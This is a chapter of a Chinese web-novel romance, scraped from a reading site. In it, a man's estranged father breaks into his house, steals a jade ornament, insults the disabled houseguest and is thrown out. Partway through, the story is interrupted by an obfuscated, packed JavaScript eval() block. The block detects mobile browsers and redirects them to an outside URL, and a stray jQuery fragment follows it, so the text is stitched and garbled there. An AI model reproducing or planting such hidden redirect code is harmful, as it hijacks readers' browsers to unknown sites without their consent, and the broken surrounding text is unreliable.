默认冷灰
24号文字
方正启体

23. 莹润透亮

作者:幸晟觅君本书字数:K更新时间:
    齐延曲觉得,谢恒逸这两天很莫名其妙。


    莫名其妙的面红耳赤,莫名其妙的眼神躲闪,莫名其妙的吞吞吐吐。


    那态度瞧着,似乎比以前还要讨厌齐延曲百倍。


    不过,对齐延曲而言,不失为好事一桩。


    既然谢恒逸对他厌恶到这种地步,那再过几日,估计就该赶他离开了。


    这样想着,齐延曲看了看鞋柜边的全身镜。


    由于整栋屋子仅有他一人,他索性没开客厅的灯,方便待会直接回楼上。


    从镜子里,他依稀看清了自己如今的颓然模样。


    惨白黯淡的外貌,浑身像无了筋骨一般,毫无力量感和震慑力。完全是一具无滋无味的躯体,落魄无比。


    在昏暗环境中,简直不像个活人。


    久未打理的发尾长了许多,得去剪短些才能显出精气神;完全恢复运动能力后得加强体能训练,总不能以这样的孱弱状态回归工作。


    齐延曲正心不在焉地规划着,耳边听到了门开锁的声音。


    他的第一反应是谢恒逸回来了。


    两秒后,他膝盖上安睡的白猫突然惊醒,警惕地瞄向门口。


    连猫都察觉到了危机,齐延曲不可能察觉不到。


    开锁的声音很轻,而且似乎对门锁不太熟悉,鼓捣了好一会儿门都没开。


    就凭这一点,足以推测出回来的人不是谢恒逸。


    谢恒逸哪次回来不是哐哐当当、恨不得把门砸了的动静,就差没让齐延曲给他铺红地毯了,绝不会是这种小偷做派。


    窸窸窣窣的怼锁孔声持续了得有五分钟。


    要不是门被反锁,从里边开不了,齐延曲都想帮外边的人一把。


    在他耐性被磨尽前,门总算是被成功打开。


    随着门大敞开,自然光线透进来,拉长了家具投射下的阴影,客厅总体变得亮堂了些。


    齐延曲顺着地板上的模糊人影向上看去。


    闯入者是一个分不清是中年还是老年的男人。


    普通的大众脸,约莫一米七,身材勉强能称为匀称,没有发福迹象,穿着打扮有种蹩脚的讲究。沧桑的面容,却是羊毛衫配西装裤,脚上的皮鞋更是不伦不类。


    不像是专业的贼,也不像是正经老实人。


    齐延曲轻抚着炸毛的猫,保持静默,将男人的反应收入眼底。


    男人快步迈进来,左摸摸右碰碰,短短几秒做出八百个动作,甚至蹲下来摸了把地毯,而后才将打量的目光转向客厅,终于发现了齐延曲的存在。


    “哎喂——”他显然没想到屋子里会有人,面上慌乱一瞬,脚下一个趔趄,差点把架子上的花瓶撞倒。


    人在尴尬的时候总是会装作忙碌。


    男人把花瓶重新摆了又摆,两手插在裤兜中,强装镇定:“谢恒逸呢?让他出来!”


    齐延曲没回话,也没动。


    倒是白猫站了起来,瞳孔骤然放大,作出预备攻击的姿态,尾巴快速用力甩了甩。甩动的几下子全打在齐延曲大腿上。


    ……说实话,有点痛。他面色不变,把猫头往下按了按,继续注视着男人。


    薄刃般直直精准穿透,锁定却不采取攻击,平直而淡然。


    看得男人头皮发麻,难以忍受,半分钟的等待恍若煎熬半年。


    “他不在。”


    齐延曲答完,便停止了注视,敛眸逗弄起猫来。


    男人听见回复,阴阴笑了一声。


    他当然知道谢恒逸不在。他在屋外接连蹲守两天,早就摸准了谢恒逸的出行和归来时间。


    不仅如此,为防止谢恒逸中途返回,他那帮弟兄把网吧看得死紧,就等着他满载而归了。


    千算万算,唯独算漏了屋子主人并非独居。


    他趁齐延曲低头的片刻,顺手将鞋柜上的白玉摆件揣进兜里。


    本以为齐延曲多少会质问他两句,谁知就此被长久无视掉。


    男人感到挂不住面子,咄咄逼人道:“我是他亲爹!是贵宾、是大客!你懂不懂什么叫待客之道?”


    齐延曲置若罔闻。


    他又不是屋子的主人,他待哪门子的客?


    “你自便。”依旧头也没抬。


    把东西顺光了都跟他没关系。


    男人面色青一阵红一阵,仿佛受到什么天大的挑衅。


    一个瘸子而已,都能跟他摆上架子了不成?


    为了找回场子,他手臂搭在柜面,佯装不经意从上边一扫而过,杂七杂八的物件统统掉落在地。


    有些是摔了也不要紧的小物件,有些则是易碎品,造成的动静很大。


    “哗啦——”陶瓷花瓶支离破碎,声音大,气势足。


    看着满地扎脚的瓷片,男人心中顿时痛快不少,再度朝坐在轮椅上的人看去。


    谁知,他头转过去的一瞬间,刚好跟作出凶狠相的猫脸对上了。


    白猫的爪子从他眼前一闪而过,行动迅猛敏捷,接着他脸颊传来火辣辣的刺痛。他下意识伸手一抓,捞了个空,连根猫毛也没碰着。


    “不长眼的东西,果然是什么样的人养出什么样的畜生……”


    男人冲口而出一句骂话,额角青筋暴起,捂着脸一阵左顾右盼,最后把客厅的灯打开了。本是为查看伤势,却在无意间看清了那瘸子的脸。


    如条窄缝的眼睛眯起,他几乎忘了脸上的伤:“你是我儿子养的玩意儿?”


    刚进门时太过慌张,他竟没注意到这瘸子有张雌雄莫辨的俊脸,细皮嫩肉的,还是这副打扮,让人看了就禁不住心生邪念。


    怪不得、怪不得,既然如此的话,是瘸子也不可惜了。长成这样,天生就该被关着养。


    看不出来,他这儿子还挺会享受的。


    惊异过后,便是汹涌滔天的愤意袭上心头。男人抹了把脸上的伤口,揩下来满手鲜血。


    伺候人的角色也配跟他端着?


    他正要开骂,却见那瘸子从果盘里取了个苹果,拿起水果刀,悠悠削了起来。


    灯光直射下,指骨分明的手灵巧从容,握刀的手势不太寻常,不似在给水果削皮,而似要将水果径直捅穿。


    锋利光滑的刀刃面格外锃亮,令人产生惧意,使得男人嚣张气焰消了大半。


    削着削着,一阵沉实急促的脚步声响起。


    男人登时大骇。


    糟了,门没关!谁回来了?不行、不行,无论是谁,他都得先争取尽可能多的反应时间!


    他顾不上捂脸,连滚带爬赶到门前,连忙将门抵住。


    眼看着门即将彻底闭合上,男人心中一喜,以为能暂时松一口气。


    遗憾的是,这口气注定松不了,他的反应和动作到底是慢了一步——


    一只有力的手不管不顾地探了进来,牢牢扶住门框,力度无法抵抗。


    门被重新拉开,男人颤颤巍巍的视线移至来人的面庞,最后的希望被击碎。


    居然是让谢恒逸这小子赶回来了!怎么回事?他那群弟兄是吃干饭的不成?!


    谢恒逸面容阴沉得能滴墨水,毫不迟疑地叫出一个名字:“谢蔡?”


    “还是说,该叫你谢财?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556613|171304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢财竭力想保持住沉稳,却被无形威压逼得节节败退。他在心底把那群害人玩意儿骂了一遍。


    一群见钱眼开的蠢货,非让他来拿点值钱东西,结果办事这样不力,信誓旦旦说会把人拦住,就是这样拦的?


    他压下心虚神色,转而想起谢恒逸在屋子里养男人的事,当即找回些底气:“我好歹养你育你几年,瞧瞧你这是什么态度!谢蓉就是这样教你的?”


    谢财自认抓住了谢恒逸的把柄,急切想挽回局面,意味不明地道:“谢恒逸啊谢恒逸,人人都说你跟我不像,我倒觉得挺像的。”


    曾经,那些见过谢恒逸的七大姑八大姨,都说谢恒逸身高随外公、长相随妈,跟他这个爸没有半分相似之处。


    如今看来,他儿子身上,还是继承了些他的东西。


    “你说,怎么可能一点都不像?我毕竟是你老子,你以为远离我就有用了?你身上可流着我的血。”他有意控制着表情幅度,仅从眼尾细纹中流露出些讥讽。


    在社会上摸爬滚打多年,谢财深知一个要领:如果想击溃对方的理智,就得显得比对方更风轻云淡,得装作不在意。


    然而,谢财是装不在意,谢恒逸是真不在意。


    听完谢财的话后,谢恒逸无动于衷。


    人淡如菊。


    谢财硬着头皮继续输出:“记不记得你小时候说过什么?你说我是烂人,你说不要成为我这样的人。事实如何?”


    苹果削完了,果肉表面光滑平整,白中透蜜黄。


    齐延曲切下来一小块,用刀尖插着送进自己口中。


    他一边缓缓嚼着,一边发觉谢恒逸望了过来。他就又切下一块,依旧插在刀尖上,对准谢恒逸晃了晃。


    谢恒逸一路跑来正好发渴,便走了过去,把那握着刀柄的手向上拉,手动将苹果递往嘴边,然后低头衔住。


    果肉水润润的,不过不是很解渴。


    谢财的视线紧抓谢恒逸不放:“事实是什么?还不明白么!”


    “你还在襁褓中的时候,就见过我同男人亲热了,看啊,你现在也喜欢男人了。如果我是烂人,你也会是烂人。你看轻我,何尝不是在看轻你自己?”


    谢财越说越大声,却没有歇斯底里,反而真有几分语重心长的意思。


    他不是一个合格的父亲,但绝对是一个合格的扮演者。


    谢恒逸咽下了嘴里的苹果,不发一言。


    忽然,不合时宜地,屋内响起一声懒洋洋而绵长的猫叫。


    叫得谢财脸上一阵泛疼,转移了辱骂对象:“还有这畜生,趁早丢出去——”


    下一秒,谢恒逸动了。


    他走回玄关,揪住谢财的胳膊,拧得那手臂几乎快要骨节错位。


    谢财被扯得摔向地面,半个身子拖在地板上,尖锐细碎的瓷片刺过羊毛衫、密密麻麻扎在肉上,立马疼得人嗷嗷哀嚎。


    “该被丢出去的畜生是你。”谢恒逸沉声道。


    他说完就面不改色把人扔了出去,同时关上门,将那些骂声隔绝在外。


    直到这时,齐延曲才出声提醒:“柜子上那块白玉,在他包里。”


    谢恒逸嫌脏地拍了拍掌心灰尘,吐出一口浊气:“没事,不缺。”


    齐延曲欲言又止。


    那块是他盘玩惯了的。


    谢恒逸心领神会:“你喜欢?等会我去书房给你找几块就是了。”


    他不由想:活玉活玉,说到底还是死物件,有什么可中意的?


    再说了,分明这人自个儿就跟玉似的。


    莹润、透亮。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)